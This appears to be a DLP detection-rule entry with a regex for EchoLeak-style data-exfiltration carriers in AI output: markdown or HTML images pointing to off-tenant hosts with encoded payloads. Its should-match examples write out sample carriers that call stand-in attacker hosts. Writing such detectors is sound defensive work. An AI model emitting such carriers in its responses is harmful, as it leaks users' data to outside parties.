AI Data-Exfiltration Marker

Detects data-exfiltration carriers in AI/LLM output: markdown images or links and HTML img tags whose URL points off-tenant and carries an encoded data payload in the path or query. This is an EchoLeak-style (cf. CVE-2025-32711) generic markdown/HTML exfiltration-carrier marker - it flags the carrier shape, not the full CVE mechanism (which also involves XPIA evasion and a Teams proxy/CSP bypass).

Type

regex

Engine

universal

Confidence

high

Confidence justification

High/precision-gated: fires on outbound content, so tuned for low FP. Requires an external host plus a long encoded payload; corporate-host and test-text exclusions remove the named FP traps.

Detection quality

Verified

Jurisdictions

global

Regulations

OWASP LLM Top 10 2025, NIST AI RMF GenAI Profile

Frameworks

ISO 27001

Data categories

emerging, security

Risk rating

7

Platform compatibility

Purview: Compatible, GCP DLP: Compatible, Macie: Compatible, Zscaler: Compatible, Palo Alto: Compatible, Netskope: Compatible

Pattern

!\[[^\]]*\]\(\s*https?://[^)\s]+[?#&][^)\s]*=[^)\s]{16,}\)

Corroborative evidence keywords

image, link, markdown, render, [object Object], artificial intelligence, [object Object], large language model, Copilot, chatbot, assistant, agent, prompt, system prompt, tool call, completion, model

Proximity: 300 characters

Should match

• ![logo](https://evil.example.net/c?d=eyJzZWNyZXQiOiJsZWFrZWQtdmFsdWUtMTIzNDU2Nzg5In0) — Markdown image to external host with long base64-like query payload
• Copilot completion: ![x](https://drop.evil/p?blob=QWxhZGRpbjpvcGVuIHNlc2FtZQ==) — AI-context marker plus unapproved-host carrier with long encoded payload (enforces at 75)
• <img src="https://attacker.test/p?x=QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo"> — HTML img tag to external host with encoded payload
• [ref]: https://evil.example.net/c?d=eyJzZWNyZXQiOiJsZWFrZWQtdmFsdWUtMTIzNDU2Nzg5In0 — Reference-style markdown link definition off-tenant with long encoded payload

Should not match

• ![logo](https://contoso.sharepoint.com/sites/team/logo.png) — SharePoint deep link (corporate host, no data payload)
• ![pixel](https://analytics.example.com/t?id=42) — Analytics URL with short, non-data parameter
• ![build](https://contoso.sharepoint.com/render?sig=0123456789abcdef0123456789abcdef) — Long signed query on an approved corporate host with no AI context — discovery only, must not enforce
• Quarterly sales report: regional revenue increased 8 percent; no links or embedded images are included. — Ordinary business prose with no outbound markdown/HTML carrier
• Copilot rendered ![x](https://evil.test/p?d=123456789012345) — Fifteen payload characters remain below the authored 16-character floor
• Training example for EchoLeak: ![x](https://evil.test/p?d=0123456789abcdef) — Quoted training carrier with no AI-context marker — discovery only, must not enforce

Known false positives

• Legitimate markdown images or links to external CDNs or documentation hosts that carry long cache-busting or signed-URL query strings (e.g. AWS presigned URLs, CDN asset hashes) resembling encoded payloads. Mitigation: Maintain an allow-list of trusted asset/CDN hosts (extend Keyword_corporate_hosts) and require AI-context corroboration before raising confidence; the 65 regex-only tier is advisory.
• Security-research, training, or detection-engineering content that quotes EchoLeak-style exfiltration carriers verbatim as examples. Mitigation: Exclude documents containing example/test markers (example.com, PLACEHOLDER) via the existing TextMatchFilter and gate on AI-context markers absent in prose discussion.

Collections

• AI Threat Classifiers